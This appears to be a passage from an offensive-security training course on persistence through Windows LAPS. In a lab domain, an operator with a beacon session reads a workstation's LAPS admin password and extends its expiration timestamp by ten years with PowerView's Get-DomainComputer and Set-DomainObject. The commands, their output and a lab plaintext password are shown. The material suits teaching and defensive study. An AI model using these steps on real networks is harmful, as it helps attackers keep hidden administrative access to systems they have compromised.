Password Expiration Protection

One of the LAPS policy settings is called "Do not allow password expiration time longer than required by policy". In short, this is the PwdExpirationProtectionEnabled **** configuration that we read from the Registry.pol file. When enabled, this policy prevents a user or computer setting the expiration date of a password beyond the password age specified in the PasswordAgeDays setting. We also read from Registry.pol that this is set to 30 days. For instance - if a password is set on 1st January 2022, its expiration will be 31st January 2022. If password expiration protection is enabled and we attempted to modify its expiration date beyond 31st January, it would trigger an automatic reset of that password.

If the policy setting is left "not configured" in the GPO, then password expiration protection is disabled by default.

Since we were able to compromise WKSTN-1 using its LAPS password, we can set its expiration long into the future as a form of persistence. The expiration date is an 18-digit timestamp calculated as the number of 100-nanosecond intervals that have elapsed since 1st January 1601 (don't ask).

beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

ms-mcs-admpwdexpirationtime ms-mcs-admpwd 
--------------------------- ------------- 
         133101494718702551 1N3FyjJR5L18za

\

Where 133101494718702551 is Thursday, 13 October 2022 15:44:31 GMT.

https://www.epochconverter.com/ldap can translate between these timestamps and human-readable formats.

\

If we wanted to push the expiry out by 10 years, we can overwrite this value with 136257686710000000. Every computer has delegated access to write to this password field, so we must elevate to SYSTEM on WKSTN-1.

beacon> run hostname
wkstn-1

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)

beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verbose
Setting 'ms-Mcs-AdmPwdExpirationTime' to '136257686710000000' for object 'WKSTN-1$'

OPSEC The expiration date will still be visible to admins and a manual reset will change the password and restore the expiration date.